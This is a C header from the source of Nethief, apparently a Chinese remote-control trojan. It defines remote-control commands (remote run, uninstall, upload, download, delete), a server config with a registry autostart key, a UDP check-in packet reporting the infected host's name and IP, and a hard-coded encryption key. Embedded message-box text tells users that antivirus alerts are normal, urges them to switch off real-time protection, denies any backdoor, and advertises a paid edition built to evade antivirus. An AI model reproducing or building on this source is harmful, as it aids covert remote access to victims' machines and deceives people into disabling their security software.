www.pudn.com > Nethief.rar > STRUCTURE_DEFINE.h


/////////////////////////////////////////////////////////////////////////////// 
// 
// STRUCTURE_DEFINE.h  --  结构常量定义头文件 
// 
/////////////////////////////////////////////////////////////////////////////// 
 
#ifndef _INC_STRUCTURE_DEFINE 
#define _INC_STRUCTURE_DEFINE 
 
//***************************************************************************** 
//TreeView树节点属性////////////////////////////// 
#define TI_ROOT							0x00000001//根节点"文件管理器" 
#define TI_HOST							0x00000002//主机节点(此节点是主机,包括"我的电脑"和远程主机) 
#define TI_DISKDRIVE_REMOVABLE			0x00000004//软盘 
#define TI_DISKDRIVE_FIXED				0x00000008//硬盘及其它 
#define TI_DISKDRIVE_CDROM				0x00000010//光盘 
#define TI_ONCEEXPAND					0x00000020//此节点曾经展开过 
#define TI_DISKDRIVE					0x00000040//此节点是磁盘驱动器 
#define TI_CUT							0x00000080//此节点被剪贴 
#define TI_REMOTE						0x00000100//远程节点(此节点非本地) 
#define TI_ONCEACCESS					0x00000200//曾经访问过(用于标识远程软驱和光驱) 
//ListView列表项属性/////////////////////////////// 
#define LI_FOUND						0XFFFFFFFF//此列表项曾在Tree中被找到,就是说它不是新建的文件夹 
//树映象列表的图标索引///////////////////////////// 
#define ICO_FILEMANAGER							0x00000000//文件管理器 
#define ICO_MYCOMPUTER							0x00000001//我的电脑 
#define ICO_FOLDER								0x00000002//文件夹 
#define ICO_FOLDER_OPEN							0x00000003//文件夹(打开状态) 
#define ICO_REMOTEHOST							0x00000004//远程主机 
#define ICO_REMOTEHOST_DISCONNECT				0x00000005//远程主机(断开连接状态) 
#define ICO_REMOTEHOST_HTTPTUNNEL				0x00000006//远程HTTP隧道主机 
#define ICO_REMOTEHOST_HTTPTUNNEL_DISCONNECT	0x00000007//远程HTTP隧道主机(断开连接状态) 
#define ICO_DRIVE_REMOVABLE						0x00000008//软盘驱动器 
#define ICO_DRIVE_FIXED							0x00000009//硬盘驱动器 
#define ICO_DRIVE_CDROM							0x0000000A//光盘驱动器 
#define ICO_DRIVE_ZIP							0x0000000B//ZIP驱动器 
#define ICO_DRIVE_REMOTE						0x0000000C//网络驱动器 
//自定义消息/////////////////////////////////////// 
#define WM_SYSTRAY						WM_USER+100 
#define WM_SOCKET						WM_USER+101 
#define WM_WORKTHREAD					WM_USER+102 
//工作线程WPARAM值(用于区分是哪种任务完成)也是命令值//// 
#define CMD_NOTIFYCONNECT				0x00000001 
#define CMD_IDVERIFY					0x00000002 
#define CMD_DOWNLOADDISKDRIVEINFO		0x00000003 
#define CMD_EXPANDDIRECTORY				0x00000004 
#define CMD_SHOWFILELIST				0x00000005 
#define CMD_RENAMEFILE					0x00000006 
#define CMD_NEWFILE						0x00000007 
#define CMD_NEWFOLDER					0x00000008 
#define CMD_DELETEFILE					0x00000009 
#define CMD_REMOTEPASTE					0x00000010 
#define CMD_GETOPERATIONOBJECT			0x00000011 
#define CMD_DOWNLOADFILE				0x00000012 
#define CMD_UPLOADFILE					0x00000013 
#define CMD_SHOWPROPERTY_MULTI			0x00000014 
#define CMD_SHOWPROPERTY_SINGLE			0x00000015 
#define CMD_MODIFYPROPERTY_SINGLE		0x00000016 
#define CMD_SHOWPROPERTY_DISKDRIVE		0x00000017 
#define CMD_MODIFYPROPERTY_DISKDRIVE	0x00000018 
#define CMD_REMOTERUN					0x00000019 
#define CMD_REMOTEUNINSTALL				0x00000020 
#define CMD_FINDFILE					0x00000021 
#define CMD_SHOWNOTE					0x00000022 
#define CMD_GETFILEINFO					0x00000023 
 
#define OTR_REFRESHSTATUSBAR			0x00001001 
//其它常量定义//////////////////////////////////// 
#define PROGRESS_RANGE					1000 
 
 
//***************************************************************************** 
#define PUBLICPASSWORD		"L*A|}t~k"			//用于加密密钥的密钥 
//免费版说明消息框的内容//////////////////////////// 
#define MESSAGEBOX_CAPTION	"写在前面的话" 
#define MESSAGEBOX_TEXT		"\ 
    一直以来,我们都秉承着免费的精神,为大家提供各种软件。但不知出于\ 
何种原因,这些程序总是遭到杀毒软件的追杀,被冠以病毒之名。这给很多软件的忠实用户带来了不少\ 
的麻烦,运行软件时会被杀毒软件杀掉而无法使用。\r\n\r\n    为此,我们特别推出了不会被杀毒软\ 
件查杀的个人版软件。个人版软件除了不会被杀毒软件查杀外,其它都与免费版软件一样。也就是说免\ 
费版软件只是会被杀毒软件查杀,并没有任何功能限制。\r\n\r\n    我们承诺个人版软件用户可享受\ 
如下售后服务:\r\n1、如被查杀,免费更换:保证您的个人版软件始终不会被查杀。\r\n2、终生免费\ 
升级到当前最新版本的个人版:保证您始终使用本软件的最新版本。\r\n\r\n    如果您现在使用的软\ 
件是从网上免费下载的,没有向我们支付任何费用,那么它是免费版软件,很可能会被杀毒软件查杀。\ 
您在下载使用本软件时,如果杀毒软件报毒属正常现象,只要关闭病毒实时监控就可以了,本软件内绝\ 
不含病毒、后门! 请您放心使用。\r\n\r\n    如果您想购买个人版软件,请查询软件里的 Sale.txt\ 
 或我们的网站 www.greenstuffsoft.net !" 
 
#define FILENOTFOUND_CAPTION	"生成服务端程序" 
#define FILENOTFOUND_TEXT		"\ 
无法找到文件 Server.bud,此文件可能已经被杀毒软件删除了。请在下载使用本软件时关闭杀毒软件!\ 
\r\n\r\n    一直以来,我们都秉承着免费的精神,为大家提供各种软件。但不知出于\ 
何种原因,这些程序总是遭到杀毒软件的追杀,被冠以病毒之名。这给很多软件的忠实用户带来了不少\ 
的麻烦,运行软件时会被杀毒软件杀掉而无法使用。\r\n\r\n    为此,我们特别推出了不会被杀毒软\ 
件查杀的个人版软件。个人版软件除了不会被杀毒软件查杀外,其它都与免费版软件一样。也就是说免\ 
费版软件只是会被杀毒软件查杀,并没有任何功能限制。\r\n\r\n    我们承诺个人版软件用户可享受\ 
如下售后服务:\r\n1、如被查杀,免费更换:保证您的个人版软件始终不会被查杀。\r\n2、终生免费\ 
升级到当前最新版本的个人版:保证您始终使用本软件的最新版本。\r\n\r\n    如果您现在使用的软\ 
件是从网上免费下载的,没有向我们支付任何费用,那么它是免费版软件,很可能会被杀毒软件查杀。\ 
您在下载使用本软件时,如果杀毒软件报毒属正常现象,只要关闭病毒实时监控就可以了,本软件内绝\ 
不含病毒、后门! 请您放心使用。\r\n\r\n    如果您想购买个人版软件,请查询软件里的 Sale.txt\ 
 或我们的网站 www.greenstuffsoft.net !" 
 
//***************************************************************************** 
//客户端与服务端都要用到的结构定义///////////////// 
#pragma pack(1) 
 
typedef struct		//服务端配置信息 
{ 
	char cHttpDirName[100];			//存放数据文件的位置 
	char cNotifyFilename[50]; 
	char cConnectFilename[50]; 
	char cDownloadFilename[50]; 
	char cKeyName[25];				//注册表自启动项键名 
	char cFilename[25];				//服务端程序的文件名 
	char cNote[25];					//服务端注释 
	BYTE byCheckSum[16];			//MD5校验和 
	char cDataPassword[50];			//数据加密密钥 
} 
SERVER_CONFIG,*pSERVER_CONFIG; 
 
typedef struct			//发上线通报的UDP数据包 
{ 
	BYTE byCheckSum[16]; 
	char cHostName[15]; 
	char cIPAddress[4]; 
	long lTotalMinutes; 
} 
SERVER_INFO,*pSERVER_INFO; 
 
typedef struct		//客户端上传到主页空间的数据,用于告诉服务端开始连接 
{ 
	char cClientName[15]; 
	char cIPAddress[4]; 
} 
CLIENT_CONNECT_INFO,*pCLIENT_CONNECT_INFO; 
 
typedef struct 
{ 
	BYTE byCheckSum[16];		//下载文件的MD5校验和 
	char cDownloadFileURL[100];	//下载文件的URL 
} 
DOWNLOAD_FILE_INFO,*pDOWNLOAD_FILE_INFO; 
///////////////////////////////////////////// 
typedef struct		//身份验证信息 
{ 
	char cSoftwareName[14];	//软件的名字,应该为:Nethief_Server 
	char cHostName[15];		//服务端的主机名 
} 
RECV_IDVERIFY_INFO,*pRECV_IDVERIFY_INFO; 
 
typedef struct		//驱动器信息 
{ 
	DWORD	dwType;			//驱动器类型 
	char	cVolumeName[256];	//卷标名称 
} 
RECV_DISKDRIVE_INFO,*pRECV_DISKDRIVE_INFO; 
 
typedef struct 
{ 
	int		nFileCount; 
	int		nFolderCount; 
	DWORD	dwTotalSize; 
} 
RECV_PROPERTYMULTI_INFO,*pRECV_PROPERTYMULTI_INFO; 
 
typedef struct 
{ 
	CTime	m_ctime; 
	CTime	m_mtime; 
	CTime	m_atime; 
	LONG	m_size; 
	BYTE	m_attribute; 
	DWORD	dwFileType; 
} 
RECV_PROPERTYSINGLE_INFO,*pRECV_PROPERTYSINGLE_INFO; 
 
typedef struct 
{ 
	char		cVolumeName[11]; 
	DWORD		dwSerialNumber; 
	DWORDLONG	dwlTotalNumberOfBytes; 
	DWORDLONG	dwlTotalNumberOfUnusedBytes; 
} 
RECV_PROPERTYDISKDRIVE_INFO,*pRECV_PROPERTYDISKDRIVE_INFO; 
 
typedef struct 
{ 
	BOOL	bIsFileExist; 
	LONG	m_size; 
	CTime	m_mtime; 
} 
RECV_GETFILEINFO_INFO,*pRECV_GETFILEINFO_INFO; 
 
typedef struct 
{ 
	int		bmType; 
	int		bmWidth; 
	int		bmHeight; 
	int		bmWidthBytes; 
	BYTE	bmPlanes; 
	BYTE	bmBitsPixel; 
	DWORD	dwBitsCount; 
} 
RECV_BITMAP_INFO,*pRECV_BITMAP_INFO; 
 
#pragma pack() 
//***************************************************************************** 
 
#endif	//_INC_STRUCTURE_DEFINE